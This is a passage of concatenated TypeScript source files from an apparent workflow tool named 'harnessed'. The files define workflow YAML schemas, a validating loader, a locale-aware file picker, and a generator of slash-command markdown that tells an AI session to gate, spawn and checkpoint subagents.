type Static, Type } from '@sinclair/typebox'\n\nexport const ModelTier = Type.Union([\n  Type.Literal('haiku'),\n  Type.Literal('sonnet'),\n  Type.Literal('opus'),\n  Type.Literal('inherit'), // B-10 override 逃生口\n])\n\nexport const PhaseEntry = Type.Object(\n  {\n    id: Type.String({ minLength: 1 }), // e.g. '01-clarify'\n    name: Type.String({ minLength: 1 }),\n    upstream: Type.String({ minLength: 1 }), // e.g. 'superpowers brainstorming'\n    model: ModelTier, // 必填 (B-08)\n    skills: Type.Optional(Type.Array(Type.String())),\n    max_iterations: Type.Optional(Type.Integer({ minimum: 1, maximum: 100 })),\n    // Phase 3.2 W1 T1.7 — JINJA-templated invokes string (D-02, W-02 orchestrator fix unconditional extend).\n    invokes: Type.Optional(Type.String()),\n  },\n  { additionalProperties: false },\n)\n\nexport const PhasesSchema = Type.Object(\n  {\n    workflow: Type.String({ minLength: 1 }), // e.g. 'execute-task'\n    phases: Type.Array(PhaseEntry, { minItems: 1 }),\n    // Phase 3.2 W1 T1.7 — CEO veto halt directive (D-04 PUSH, W-02 orchestrator fix unconditional extend).\n    on_veto: Type.Optional(Type.String({ pattern: '^halt_workflow$' })),\n  },\n  { additionalProperties: false },\n)\n\nexport type ModelTierType = Static<typeof ModelTier>\nexport type PhaseEntryType = Static<typeof PhaseEntry>\nexport type PhasesSchemaType = Static<typeof PhasesSchema>\n","// src/workflow/schema/workflow.v2.ts — Phase v2.0-2.4 W0 T2.4.W0.1 SHIPPED schema.\n// SPLIT from workflow.ts during Phase v3.0-3.3 W0 T3.3.W0.5 (v3 schema bump) to\n// preserve karpathy ≤200L hard limit + maintain v2 yaml backward-compat during\n// setup-helpers v2 deprecation period (T3.3.W0.12).\n//\n// Removal target: Phase v3.0 GA + 1 minor cycle (sister CHANGELOG alias map period).\n\nimport { type Static, Type } from '@sinclair/typebox'\nimport { SCHEMA_VERSIONS } from '../../types/schemaVersion.js'\n\nconst ModelTier = Type.Union([Type.Literal('haiku'), Type.Literal('sonnet'), Type.Literal('opus')])\n\nconst OnAction = Type.Union([Type.Literal('skip'), Type.Literal('invoke')])\n\nexport const OnClauseV2 = Type.Object(\n  {\n    if: Type.String(),\n    invoke: Type.Optional(Type.String()),\n    action: Type.Optional(OnAction),\n  },\n  { additionalProperties: false },\n)\n\nexport const FallbackMaxIterationsExceededV2 = Type.Object(\n  {\n    action: Type.Literal('emit_warning_and_halt'),\n    message: Type.String(),\n    exit_code: Type.Number(),\n  },\n  { additionalProperties: false },\n)\n\nexport const PhaseFallbackV2 = Type.Object(\n  {\n    max_iterations_exceeded: Type.Optional(FallbackMaxIterationsExceededV2),\n  },\n  { additionalProperties: false },\n)\n\nexport const WorkflowPhaseV2 = Type.Object(\n  {\n    id: Type.String({ minLength: 1 }),\n    name: Type.Optional(Type.String()),\n    upstream: Type.Optional(Type.String()),\n    capability: Type.Optional(Type.String()),\n    model: Type.Optional(ModelTier),\n    invokes: Type.Optional(Type.String()),\n    args: Type.Optional(Type.Record(Type.String(), Type.Unknown())),\n    gate: Type.Optional(Type.String()),\n    on: Type.Optional(Type.Array(OnClauseV2)),\n    parallelism: Type.Optional(Type.String()),\n    fallback: Type.Optional(PhaseFallbackV2),\n    max_iterations: Type.Optional(Type.Union([Type.Number(), Type.String()])),\n    artifacts_expected: Type.Optional(Type.Array(Type.String())),\n  },\n  { additionalProperties: false },\n)\n\nexport const WorkflowSchemaV2 = Type.Object(\n  {\n    schema_version: Type.Literal(SCHEMA_VERSIONS.workflow),\n    workflow: Type.String({ minLength: 1 }),\n    description: Type.Optional(Type.String()),\n    phases: Type.Array(WorkflowPhaseV2, { minItems: 1 }),\n  },\n  { additionalProperties: false },\n)\n\nexport type WorkflowPhaseV2T = Static<typeof WorkflowPhaseV2>\nexport type WorkflowSchemaV2T = Static<typeof WorkflowSchemaV2>\n/** Alias of `WorkflowPhaseV2T` — sister deferred-items.md T2.4.W1.5 path-A naming. */\nexport type PhaseShape = WorkflowPhaseV2T\n","// src/workflow/schema/workflow.ts — Phase v3.0-3.3 W0 T3.3.W0.5 (R30.9 + D-09 + D-05 + D-01).\n// TypeBox schema for harnessed.workflow.v3 — covers 20 workflow yaml v3 surfaces\n// (4 master orchestrator + 14 sub-stage + 2 standalone per D-07) per\n// D-04 + D-09 + D-05 + D-01 NEW + Pattern A A.1 reconcile (strict Literal Union).\n//\n// v2 → v3 字段 delta (sister Phase v2.0-2.4 W0 T2.4.W0.1 SHIPPED v2 86L):\n//   BUMP `schema_version: 'harnessed.workflow.v3'` (17th surface in schemaVersion.ts)\n//   ADD  `disciplines_applied` — strict Literal Union of 6 basename (D-09 + Pattern A A.1)\n//   ADD  `tools_available`     — string[] capabilities.yaml entry name (D-05)\n//   ADD  `delegates_to`        — DelegationClause[] master orchestrator only (D-01 NEW)\n//   ADD  phase.`invokes_tools` — InvokeToolClause[] conditional fire (D-05)\n//   CHANGE `phases` to Optional — master has delegates_to only, sub/standalone has phases\n//\n// Runtime invariant (NOT schema): every parsed yaml must have phases[] OR delegates_to[]\n// (engine asserts in `runWorkflow`); BOTH absent → fail-fast.\n//\n// IMPL NOTE: workflow engine pre-resolves `gate` / `parallelism` 4-level ref via\n// T2.3.W0.4 judgmentResolver BEFORE expr-eval evaluation.\n// additionalProperties:false strict per Phase 2.2 STRIDE T-2.2-02 mitigation.\n// Pattern A A.1 strict Literal Union LOCKED — typo basename ('karpatHy' etc) fails fast.\n\nimport { type Static, Type } from '@sinclair/typebox'\nimport { SCHEMA_VERSIONS } from '../../types/schemaVersion.js'\n\nconst ModelTier = Type.Union([Type.Literal('haiku'), Type.Literal('sonnet'), Type.Literal('opus')])\n\nconst OnAction = Type.Union([Type.Literal('skip'), Type.Literal('invoke')])\n\n// Pattern A A.1 LOCK — strict Literal Union of 6 discipline basename (D-09).\n// Typo ('karpatHy' / 'output_style') fails Value.Check fast; sister 6 yaml file basename verbatim.\nexport const DisciplineName = Type.Union([\n  Type.Literal('karpathy'),\n  Type.Literal('output-style'),\n  Type.Literal('language'),\n  Type.Literal('operational'),\n  Type.Literal('priority'),\n  Type.Literal('protocols'),\n])\n\nexport const OnClause = Type.Object(\n  {\n    if: Type.String(), // expr-eval expression OR judgments.<file>.<gate>.fires ref\n    invoke: Type.Optional(Type.String()), // '{{ capabilities.<name>.cmd }}' OR literal\n    action: Type.Optional(OnAction),\n  },\n  { additionalProperties: false },\n)\n\n// D-05 NEW — phase-level conditional tool fire (sister OnClause 'if?' + 主语段 style).\nexport const InvokeToolClause = Type.Object(\n  {\n    if: Type.Optional(Type.String()), // optional — 无 if = unconditional fire\n    tool: Type.String({ minLength: 1 }), // capabilities.yaml entry name (cross-validate T3.3.W0.10)\n  },\n  { additionalProperties: false },\n)\n\n// D-01 NEW — master orchestrator declarative delegation (replaces phase-level invokes for master).\nexport const DelegationClause = Type.Object(\n  {\n    sub: Type.String({ minLength: 1 }), // sub-stage workflow name e.g. 'strategic' / 'phase' / 'subtask'\n    gate: Type.Optional(Type.String()), // judgments.<file>.<trigger>.fires 4-level ref\n    mode: Type.Optional(Type.Union([Type.Literal('parallel'), Type.Literal('serial')])),\n    order: Type.Optional(Type.Number()), // serial-only: explicit ordering (K9 mitigation enforced in check-workflow-schema)\n  },\n  { additionalProperties: false },\n)\n\nexport const FallbackMaxIterationsExceeded = Type.Object(\n  {\n    action: Type.Literal('emit_warning_and_halt'), // R20.10 acceptance c \"explicit NOT silent\"\n    message: Type.String(),\n    exit_code: Type.Number(),\n  },\n  { additionalProperties: false },\n)\n\nexport const PhaseFallback = Type.Object(\n  {\n    max_iterations_exceeded: Type.Optional(FallbackMaxIterationsExceeded),\n  },\n  { additionalProperties: false },\n)\n\nexport const WorkflowPhaseV3 = Type.Object(\n  {\n    id: Type.String({ minLength: 1 }),\n    name: Type.Optional(Type.String()),\n    upstream: Type.Optional(Type.String()),\n    capability: Type.Optional(Type.String()), // '{{ capabilities.ralph-loop.cmd }}'\n    model: Type.Optional(ModelTier),\n    invokes: Type.Optional(Type.String()), // legacy slash-cmd OR JINJA template\n    args: Type.Optional(Type.Record(Type.String(), Type.Unknown())),\n    gate: Type.Optional(Type.String()), // judgments.<file>.<gate>.fires 4-level ref\n    on: Type.Optional(Type.Array(OnClause)),\n    parallelism: Type.Optional(Type.String()), // judgments.parallelism-gate.<route>.fires\n    fallback: Type.Optional(PhaseFallback),\n    max_iterations: Type.Optional(\n      Type.Union([Type.Number(), Type.String()]), // numeric literal OR jinja '{{ defaults.x.y }}'\n    ),\n    artifacts_expected: Type.Optional(Type.Array(Type.String())),\n    invokes_tools: Type.Optional(Type.Array(InvokeToolClause)), // NEW v3 D-05 phase-level conditional fire\n    // v3.8.0 P1 — Conditional RULES inject. Empty/absent → DEFAULT_INJECTS_RULES\n    // (escalation + transparent-skip, ~470 tokens). Declare full list\n    // ['escalation', 'transparent-skip', 'agent-teams-prevention'] on phases\n    // that genuinely involve Agent Teams escalation (task-deliver / task-test /\n    // verify-multispec). Unknown rule names silently filtered at runtime\n    // (forward-compat for future RULES additions).\n    injects_rules: Type.Optional(Type.Array(Type.String())),\n  },\n  { additionalProperties: false },\n)\n\nexport const WorkflowSchemaV3 = Type.Object(\n  {\n    schema_version: Type.Literal(SCHEMA_VERSIONS.workflow_v3),\n    workflow: Type.String({ minLength: 1 }),\n    description: Type.Optional(Type.String()),\n    disciplines_applied: Type.Optional(Type.Array(DisciplineName)), // NEW v3 D-09 (Pattern A A.1 strict Literal Union)\n    tools_available: Type.Optional(Type.Array(Type.String())), // NEW v3 D-05 (cross-validate T3.3.W0.10)\n    delegates_to: Type.Optional(Type.Array(DelegationClause)), // NEW v3 D-01 (master orchestrator only)\n    phases: Type.Optional(Type.Array(WorkflowPhaseV3, { minItems: 1 })), // 改 Optional — master 无 phases, sub/standalone 必有\n  },\n  { additionalProperties: false },\n)\n\nexport type WorkflowPhaseV3T = Static<typeof WorkflowPhaseV3>\nexport type WorkflowSchemaV3T = Static<typeof WorkflowSchemaV3>\nexport type DelegationClauseT = Static<typeof DelegationClause>\nexport type InvokeToolClauseT = Static<typeof InvokeToolClause>\nexport type DisciplineNameT = Static<typeof DisciplineName>\nexport type FallbackMaxIterationsExceededT = Static<typeof FallbackMaxIterationsExceeded>\nexport type PhaseFallbackT = Static<typeof PhaseFallback>\nexport type OnClauseT = Static<typeof OnClause>\n\n// v2 backward-compat re-export — sister run.ts + checker still reads v2 yaml during transition.\n// Phase v2.0-2.4 W0 T2.4.W0.1 SHIPPED — KEEP for Phase v3.0-3.3 setup-helpers v2 deprecation period.\n// CHANGELOG: drop v2 alias post v3.0 GA + setup-helpers nested scan + v2 yaml removed.\nexport {\n  type PhaseShape,\n  WorkflowPhaseV2,\n  type WorkflowPhaseV2T,\n  WorkflowSchemaV2,\n  type WorkflowSchemaV2T,\n} from './workflow.v2.js'\n","// loadPhases — parse + validate `phases.yaml` against PhasesSchema (T3.1) OR\n// WorkflowSchemaV2 (T2.4.W1.1 Option A++ dispatch by `schema_version`).\n//\n// ADR 0011 errata — per-phase model tier (phase 2.2 W3 — T3.2).\n// Sister to `src/manifest/validate.ts`(Ajv) — here we use TypeBox `Value.Check` +\n// `Value.Errors` directly (simpler than Ajv compile path; phases.yaml schema is\n// tiny ~50L and not on hot path — no perf gate needed).\n//\n// Pattern lifted from PATTERNS § 5 D-WP-1 \"Truly NEW patterns\" row.\n//\n// Phase 3.2 W2 T2.1 — sig extend `vars?: Record<string, string>`; if provided,\n// interpolate {{ var }} placeholders in `invokes` field per phase (D-02 JINJA\n// LOCKED). Backward-compat: vars omitted → no interpolate (existing callers\n// unchanged; v3 task workflow phases have no invokes).\n//\n// Phase v2.0-2.4 W1.1 T2.4.W1.1 (Option A++ team-lead arbitration) — schema\n// dispatch on root `schema_version` field. v2 yaml validates against\n// WorkflowSchemaV2 and the v2 shape is returned unchanged (structural superset\n// of v1 — legacy v1 readers safely access the v1 subset; engine catch handler\n// reads `phase.fallback.max_iterations_exceeded.*` for R20.10 explicit halt).\n// Legacy yaml without `schema_version` falls back to PhasesSchema v1 path.\n//\n// Phase v3.4.4 — add v3 dispatch arm mirroring v2 pattern; master yamls (no\n// phases) validate via WorkflowSchemaV3 Optional phases field. JINJA loop now\n// guards `validated.phases` (master shape has phases === undefined).\n\nimport { readFileSync } from 'node:fs'\nimport { Value, type ValueError } from '@sinclair/typebox/value'\nimport { parse as parseYaml } from 'yaml'\nimport { interpolate } from './interpolate.js'\nimport { PhasesSchema, type PhasesSchemaType } from './schema/phases.js'\nimport {\n  WorkflowSchemaV2,\n  type WorkflowSchemaV2T,\n  WorkflowSchemaV3,\n  type WorkflowSchemaV3T,\n} from './schema/workflow.js'\n\nexport class PhasesValidationError extends Error {\n  constructor(public errors: ValueError[]) {\n    super(`phases.yaml validation failed (${errors.length} error${errors.length === 1 ? '' : 's'})`)\n    this.name = 'PhasesValidationError'\n  }\n}\n\nexport type LoadedPhases = PhasesSchemaType | WorkflowSchemaV2T | WorkflowSchemaV3T\n\n/** Load + validate a phases.yaml file. Throws `PhasesValidationError` on schema\n *  violation. If `vars` provided, interpolates {{ var }} in each phase's\n *  `invokes` field (Phase 3.2 W2 T2.1 D-02 JINJA).\n *\n *  T2.4.W1.1 v2 dispatch (Option A++): yaml with `schema_version:\n *  harnessed.workflow.v2` validates against `WorkflowSchemaV2` and is returned\n *  unchanged. Legacy v1 consumers read the v1 subset (workflow + phases[id,\n *  name, upstream, model, max_iterations, invokes]) which the v2 shape\n *  structurally contains; engine catch handler reads `phase.fallback`. */\nexport function loadPhases(yamlPath: string, vars?: Record<string, string>): LoadedPhases {\n  const raw = readFileSync(yamlPath, 'utf8')\n  const parsed = parseYaml(raw) as { schema_version?: string } | null\n\n  const version = parsed?.schema_version\n  if (version === 'harnessed.workflow.v3') {\n    if (!Value.Check(WorkflowSchemaV3, parsed)) {\n      throw new PhasesValidationError([...Value.Errors(WorkflowSchemaV3, parsed)])\n    }\n  } else if (version === 'harnessed.workflow.v2') {\n    if (!Value.Check(WorkflowSchemaV2, parsed)) {\n      throw new PhasesValidationError([...Value.Errors(WorkflowSchemaV2, parsed)])\n    }\n  } else {\n    if (!Value.Check(PhasesSchema, parsed)) {\n      throw new PhasesValidationError([...Value.Errors(PhasesSchema, parsed)])\n    }\n  }\n  const validated = parsed as LoadedPhases\n\n  // Phase 3.2 W2 T2.1 — JINJA interpolate invokes field (D-02 LOCKED).\n  // Backward-compat: vars omitted → no interpolate (existing callers unchanged).\n  // Phase v3.4.4 — guard `validated.phases` (v3 master shape has phases === undefined).\n  if (vars && validated.phases) {\n    for (const ph of validated.phases) {\n      if (ph.invokes) ph.invokes = interpolate(ph.invokes, vars)\n    }\n  }\n  return validated\n}\n","// Phase 33 (v10.0 i18n Surface) NEW — locale-aware sibling-yaml picker.\n//\n// Single source for \"given a yaml base name, which file does this locale read?\"\n// shared by loadRolePrompts (role-prompts.yaml) + buildDisciplinesSection\n// (disciplines/<name>.yaml). Mirrors the Phase 29 SKILL.md sibling pick +\n// messages/{en,zh-Hans}.json file pattern — zero schema change (siblings parse\n// against the same shape as the base).\n//\n// Policy:\n//   - en → ALWAYS the base `<baseName>.yaml`. en is the source-of-truth base;\n//     there is no `<baseName>.en.yaml` sibling, so this is the byte-identical path.\n//   - non-en → `<baseName>.<locale>.yaml` if it exists on disk, else fall back to\n//     the base (drift-only: a missing sibling is fine, never an error).\n\nimport { existsSync } from 'node:fs'\nimport { join } from 'node:path'\nimport { getLocale, type SupportedLocale } from './index.js'\n\n/**\n * Resolve the locale-correct yaml file path for `<baseName>` under `dir`.\n * Default `locale` is `getLocale()` so explicit `--lang` / env flows through\n * (reuse the i18n layer's resolution; do NOT re-implement locale parsing).\n */\nexport function resolveLocaleYaml(\n  dir: string,\n  baseName: string,\n  locale: SupportedLocale = getLocale(),\n): string {\n  if (locale !== 'en') {\n    const sibling = join(dir, `${baseName}.${locale}.yaml`)\n    if (existsSync(sibling)) return sibling\n  }\n  return join(dir, `${baseName}.yaml`)\n}\n","// Generate ~/.claude/commands/<x>.md from workflows/role-prompts.yaml.\n//\n// SCHEMA EVOLUTION:\n//   v3.4.3 — dual-path body (SlashCommand \"Preferred path\" + Task-spawn fallback).\n//   v3.4.4 — single-path body that piped to `harnessed run <name>` (SDK spawn).\n//   v4.0   — orchestration-brain bodies (3 types: INTERACTIVE / ORCHESTRATOR /\n//     EXECUTION). Bodies tell the CC main session to drive CC-native subagent\n//     spawns via `harnessed gates` + `harnessed prompt` + `harnessed checkpoint`,\n//     and explicitly NOT to pipe to `harnessed run` (which is now CI/headless).\n//   v4.1   — `harnessed prompt` injects tools_available + disciplines_applied\n//     from the yaml SoT; ORCHESTRATOR bodies recurse on `is_master` fired subs.\n//\n// MARKER-BASED OVERWRITE:\n//   Each generated file emits a `<!-- harnessed-generated:vX.Y.Z -->` trailing\n//   marker. `writeAllCommands` overwrites files carrying that marker OR the\n//   legacy v3.4.3 dual-path signature; truly user-authored files (with neither)\n//   are preserved with a warning, so `harnessed setup` re-renders its own files\n//   in place without clobbering customs.\n//\n// Karpathy simplicity: pure functions, single yaml load, no new deps.\n\nimport { existsSync, readFileSync as nodeReadFileSync } from 'node:fs'\nimport { readFile } from 'node:fs/promises'\nimport { join } from 'node:path'\nimport { parse as parseYaml } from 'yaml'\nimport { getLocale, type SupportedLocale } from '../../i18n/index.js'\nimport { resolveLocaleYaml } from '../../i18n/localeYaml.js'\nimport type { CapabilityMap } from './capabilityResolver.js'\n\n/** Per-sub-workflow metadata from `workflows/role-prompts.yaml`. */\nexport interface RolePrompt {\n  /** Capability key whose `.cmd` is the preferred slash command. Empty for masters. */\n  primary_cap: string\n  /** Title of the expert persona used in the fallback Task-spawn prompt. */\n  specialist: string\n  /** One-line job description (string with leading verb). */\n  responsibility: string\n  /** Checklist items (5-10) — skipped for masters (empty array). */\n  checklist: string[]\n  /** Severity scale label rendered in report-format section. */\n  severity: string\n  /** YAML frontmatter `description` field for the generated commands/<x>.md. */\n  description: string\n  /** Master orchestrators are pure dispatchers (no role-prompt fallback). */\n  is_master?: boolean\n}\n\n/** Full registry shape — `{ prompts: { <slash-name>: RolePrompt, ... } }`. */\ninterface RolePromptsDoc {\n  prompts?: Record<string, RolePrompt>\n}\n\n/** Single generated command file (filename + content). */\nexport interface GeneratedCommand {\n  /** Bare filename — e.g. `verify-paranoid.md`. Caller joins with commands dir. */\n  filename: string\n  /** Full file content (frontmatter + body) ready to write. */\n  content: string\n}\n\n/** Outcome per attempted write — skip when user's commands/ file already exists. */\nexport interface CommandWriteResult {\n  /** Slash name (e.g. `verify-paranoid`). */\n  name: string\n  /** Absolute path the file would be / was written to. */\n  path: string\n  /** True = wrote new file; false = skipped because user file already existed. */\n  written: boolean\n  /** Warning text when skipped or when role-prompt missing for the workflow. */\n  warning?: string\n}\n\n/** Load and parse `<workflowsDir>/role-prompts.yaml` (or its locale sibling).\n *  Tolerant of missing file. Phase 33: `locale` (default `getLocale()`) selects\n *  `role-prompts.<locale>.yaml` when present — en serves the byte-identical base. */\nexport async function loadRolePrompts(\n  workflowsDir: string,\n  locale: SupportedLocale = getLocale(),\n): Promise<Record<string, RolePrompt>> {\n  const path = resolveLocaleYaml(workflowsDir, 'role-prompts', locale)\n  let raw: string\n  try {\n    raw = await readFile(path, 'utf8')\n  } catch {\n    return {}\n  }\n  const doc = parseYaml(raw) as RolePromptsDoc | null\n  return doc?.prompts ?? {}\n}\n\n/** v4.0 — INTERACTIVE: pure clarification requiring user dialogue. Headless\n *  subagents cannot ask the user questions (brainstorming degenerates into\n *  self-Q&A), so these run entirely in the main CC session. Per user CLAUDE.md\n *  铁律: \"澄清必须在主 session 完成后再下放\". */\nconst INTERACTIVE_COMMANDS = new Set([\n  'discuss',\n  'discuss-strategic',\n  'discuss-phase',\n  'discuss-subtask',\n  'task-clarify',\n])\n\n/** v4.0 — ORCHESTRATOR: master stages that gate-eval which subs fire, then\n *  drive CC-native subagent spawns (NOT harnessed-run SDK spawn). `auto` also\n *  runs interactive discuss inline first. */\nconst ORCHESTRATOR_COMMANDS = new Set(['auto', 'plan', 'task', 'verify', 'ship'])\n\nconst MARKER = `<!-- harnessed-generated:v3.4.4 -->`\n\n/** v4.0.1 — language directive for the CC main session's own narration +\n *  clarification dialogue. The `language` discipline says output follows\n *  env.HARNESSED_USER_LANG (set by `harnessed setup`). Spawned subagents get\n *  this via `harnessed prompt`; the main session reading this command file needs\n *  it stated here. */\nconst LANG_DIRECTIVE = `> **Language**: respond to the user in the language set by \\`env.HARNESSED_USER_LANG\\` (e.g. \\`zh-Hans\\` → 简体中文, \\`en\\` → English). If unset, mirror the user's input language. Keep code / commands / identifiers / error messages / URLs verbatim.`\n\n/** Shared spawn-loop snippet (v4.0) — how CC executes ONE sub via native spawn\n *  with prompt from `harnessed prompt`, ralph-loop completion, NEEDS_CLARIFICATION\n *  round-trip, and checkpoint. Reused by ORCHESTRATOR (per-sub) + EXECUTION. */\nfunction spawnLoopSteps(indent: string): string[] {\n  const i = indent\n  return [\n    `${i}a. Bash: \\`harnessed prompt <sub> --task \"<spec>\" --json\\` → parse \\`{prompt, max_iterations, model}\\`.`,\n    `${i}b. Spawn a CC-native subagent (Task / Agent tool) with that \\`prompt\\` and \\`model\\`. Wrap in the ralph-loop plugin for completion-promise enforcement:`,\n    `${i}   \\`/ralph-loop \"<prompt>\" --max-iterations <max_iterations> --completion-promise \"COMPLETE\"\\``,\n    `${i}   If the ralph-loop plugin is not installed, self-loop: spawn → check output for \\`<promise>COMPLETE</promise>\\` → if absent, re-spawn with the prior output appended (up to max_iterations).`,\n    `${i}c. If the subagent output contains \\`STATUS: NEEDS_CLARIFICATION\\` + a question list: STOP. Use AskUserQuestion to relay those exact questions to the user. Append the user's answers to the spec, then re-spawn the same sub. (This is the round-trip headless spawn cannot do.)`,\n    `${i}d. On \\`<promise>COMPLETE</promise>\\`: Bash \\`harnessed checkpoint complete <sub> --summary \"<one-line>\"\\`.`,\n  ]\n}\n\n/** INTERACTIVE body — main-session clarification, never spawn. */\nfunction buildInteractiveBody(name: string, prompt: RolePrompt): string {\n  return [\n    `# /${name}`,\n    ``,\n    prompt.description,\n    ``,\n    LANG_DIRECTIVE,\n    ``,\n    `## How to run (interactive — in THIS session)`,\n    ``,\n    `Clarification requires real user dialogue. Spawned subagents cannot ask the user questions, so run this stage directly in this session — do NOT spawn it.`,\n    ``,\n    `1. Evaluate the clarification criteria for \"$ARGUMENTS\":`,\n    `   - Strategic layer: new feature / new milestone / unclear business scope → run gstack \\`/office-hours\\` + \\`/plan-ceo-review\\``,\n    `   - Phase layer: ≥2 open implementation decisions / unclear cross-phase API contract → run GSD \\`/gsd-discuss-phase\\``,\n    `   - Subtask layer: ≥2 distinct approaches / core algorithm / API contract design / high error cost → run superpowers brainstorming`,\n    `2. For each layer that fires, hold the dialogue with the user (use AskUserQuestion for option-style decisions). Lock every open decision.`,\n    `3. Skip layers that don't fire — state which were skipped and why (transparent skip).`,\n    `4. Persist locked decisions to \\`.planning/\\` via planning-with-files (\\`findings.md\\` / \\`task_plan.md\\`).`,\n    ``,\n    `Output: a locked spec the execution stages can consume without further user input. Then run \\`/plan\\` → \\`/task\\` → \\`/verify\\` with that spec.`,\n    ``,\n    `## Notes`,\n    ``,\n    `- Generated by \\`harnessed setup\\`. Re-run after a harnessed upgrade to refresh.`,\n    ``,\n    MARKER,\n    ``,\n  ].join('\\n')\n}\n\n/** ORCHESTRATOR body (v4.0; v5.0 state-machine sequence) — gate-eval via\n *  `harnessed gates`, seed the sub-progress ledger via `checkpoint start --plan`,\n *  then drive CC-native subagent spawns per fired sub (or escalate to Agent\n *  Teams), checkpointing each outcome (complete on success / fail on error).\n *\n *  v5.0 Spec 1 (STATE-MACHINE-CORE-DESIGN.md §2/§4, D3) — the body deterministically\n *  emits the orchestration sequence so the main CC session drives the state machine\n *  by following the file, not from memory:\n *    1. `harnessed gates <master> --task` → plan JSON (SoT, no spawn)\n *    2. `harnessed checkpoint start <master> --plan '<gates-json>'` → seed ledger\n *    3. per fired sub: `harnessed prompt` → spawn → `checkpoint complete` (evidence\n *       guard auto-runs) on success / `checkpoint fail` on failure\n *    4. is_master fired subs RECURSE (`harnessed gates <sub>`) instead of spawning\n *    5. `harnessed status --recover` to re-orient after compaction. */\nfunction buildOrchestratorBody(name: string, prompt: RolePrompt): string {\n  const autoDiscussStep =\n    name === 'auto'\n      ? [\n          `1. FIRST run the discuss stage interactively in THIS session (spawned subagents cannot ask the user questions). Evaluate strategic / phase / subtask clarification criteria for \"$ARGUMENTS\"; for each that fires, dialogue with the user (AskUserQuestion) and lock decisions; transparent-skip the rest. Produce a locked spec.`,\n        ]\n      : [\n          `1. If the clarification criteria fire for \"$ARGUMENTS\" (≥2 approaches / core algorithm / API contract / high error cost), clarify interactively in THIS session first (AskUserQuestion) and lock decisions. Otherwise transparent-skip. Produce a locked spec.`,\n        ]\n  // v5.0 — the deterministic state-machine spawn loop for ONE leaf sub: prompt →\n  // spawn → ralph-loop → NEEDS_CLARIFICATION round-trip → checkpoint complete (on\n  // COMPLETE) OR checkpoint fail (on unrecoverable failure). Steps a-c are the\n  // shared `spawnLoopSteps` (indented 5sp); the leaf variant overrides step d with\n  // the evidence-guard (fail-CLOSED) detail and appends step e (checkpoint fail on\n  // unrecoverable failure) — both absent from the simpler EXECUTION body.\n  const leafIndent = '     '\n  // spawnLoopSteps emits steps a-d as 6 lines (b spans 3: the `b.` line + 2\n  // continuations); the first 5 are a + b(×3) + c, which the leaf reuses verbatim.\n  const leafSpawnLoop = [\n    ...spawnLoopSteps(leafIndent).slice(0, 5),\n    `${leafIndent}d. On \\`<promise>COMPLETE</promise>\\`: Bash \\`harnessed checkpoint complete <sub> --summary \"<one-line>\"\\`. The evidence guard runs here (fail-CLOSED): if it exits non-zero because a declared \\`artifacts_expected\\` file is missing, the sub is NOT done — re-spawn to produce the artifact, or pass \\`--force\\` only to deliberately override (records \\`evidence_status: overridden\\`).`,\n    `${leafIndent}e. If the sub cannot reach COMPLETE (max_iterations exhausted, unrecoverable error): Bash \\`harnessed checkpoint fail <sub> --summary \"<why>\"\\` to flip the ledger entry to \\`failed\\`, then STOP and report to the user.`,\n  ]\n  return [\n    `# /${name}`,\n    ``,\n    prompt.description,\n    ``,\n    LANG_DIRECTIVE,\n    ``,\n    `## How to run (orchestrator — clarify in THIS session, then drive native subagent spawns)`,\n    ``,\n    `harnessed is the orchestration brain: \\`harnessed gates\\` tells you which subs fire, \\`harnessed prompt\\` gives you each sub's spawn-ready prompt, and \\`harnessed checkpoint\\` records the per-sub state-machine ledger. YOU (the main session) do the spawning with CC-native Task / Agent tools — keeping the session responsive, enabling Agent Teams, and letting clarification round-trips reach the user.`,\n    ``,\n    `Drive this exact sequence (it is the state machine — follow the file, don't improvise from memory):`,\n    ``,\n    ...autoDiscussStep,\n    `2. Bash: \\`harnessed gates ${name} --task \"<locked spec>\" --skip-sub clarify\\` → parse the JSON \\`{fire: [{sub, order, mode, is_master}], skip: [{sub, reason}], parallelism: {escalate_to_teams}}\\`. This is the plan SoT (no spawn). Keep the verbatim JSON for the next step.`,\n    `3. Bash: \\`harnessed checkpoint start ${name} --plan '<the verbatim gates JSON from step 2>'\\` → seeds the sub-progress ledger in \\`current-workflow.json\\` (fired subs → \\`pending\\`, skipped subs → \\`skipped\\` + reason). This makes \\`harnessed status --recover\\` able to tell you where you are after compaction.`,\n    `4. If \\`parallelism.escalate_to_teams === true\\`: this stage needs multiple subagents to coordinate (SendMessage / shared contract). Read \\`~/.claude/rules/agent-teams.md\\`, then \\`TeamCreate\\` → \\`Agent(name, team_name, ...)\\` per fired sub (prompt from \\`harnessed prompt <sub>\\`) → coordinate via SendMessage → \\`SendMessage shutdown_request\\` + \\`TeamDelete\\`. Still checkpoint each sub (\\`complete\\` / \\`fail\\`) as below.`,\n    `5. Otherwise, for each fired sub in \\`order\\` (serial subs sequentially, parallel subs concurrently via parallel Task calls):`,\n    `   - **If the fired entry has \\`is_master: true\\`** (it is itself a stage master, e.g. \\`/auto\\` firing \\`plan\\`/\\`task\\`/\\`verify\\`): do NOT prompt+spawn it directly — that would yield a vague dispatcher. RECURSE: run that master's orchestration — \\`harnessed gates <sub> --task \"<spec>\" --skip-sub clarify\\` → \\`harnessed checkpoint start <sub> --plan '<that JSON>'\\` → repeat this whole loop for ITS fired subs. Only leaf subs (no \\`is_master\\`) reach the spawn loop below.`,\n    `   - **Else (leaf sub)** — spawn it, then checkpoint the outcome:`,\n    ...leafSpawnLoop,\n    `6. After all fired subs are \\`done\\` (or recorded \\`failed\\`), Bash \\`harnessed status --recover\\` to confirm the ledger position (what's done, what's still pending, any evidence drift). Report a per-sub fired/skipped/done/failed summary to the user. ${name === 'auto' ? 'Then run the `retro` stage to capture lessons.' : ''}`,\n    ``,\n    `**If you lose context (compaction / resume):** run \\`harnessed status --recover\\` first — it reads the ledger and prints \"you are here, this is next\" so you can resume the loop at the first \\`pending\\` sub instead of restarting. If the ledger is empty (no \\`--plan\\` was seeded), re-run steps 2-3.`,\n    ``,\n    `Do NOT pipe to \\`harnessed run ${name}\\` — that is the CI/headless path (SDK spawn, blocks the session, no Agent Teams, no clarification round-trip).`,\n    ``,\n    `## Notes`,\n    ``,\n    `- Generated by \\`harnessed setup\\`. Re-run after a harnessed upgrade to refresh.`,\n    `- gate/discipline SoT: \\`workflows/${nameToYamlHintPath(name)}\\` + \\`workflows/judgments/\\` — consumed by \\`harnessed gates\\` + \\`harnessed prompt\\`.`,\n    `- The per-sub ledger + evidence guard live in \\`current-workflow.json\\` (sole SoT) — written only by \\`harnessed checkpoint\\`; never edit state files directly.`,\n    ``,\n    MARKER,\n    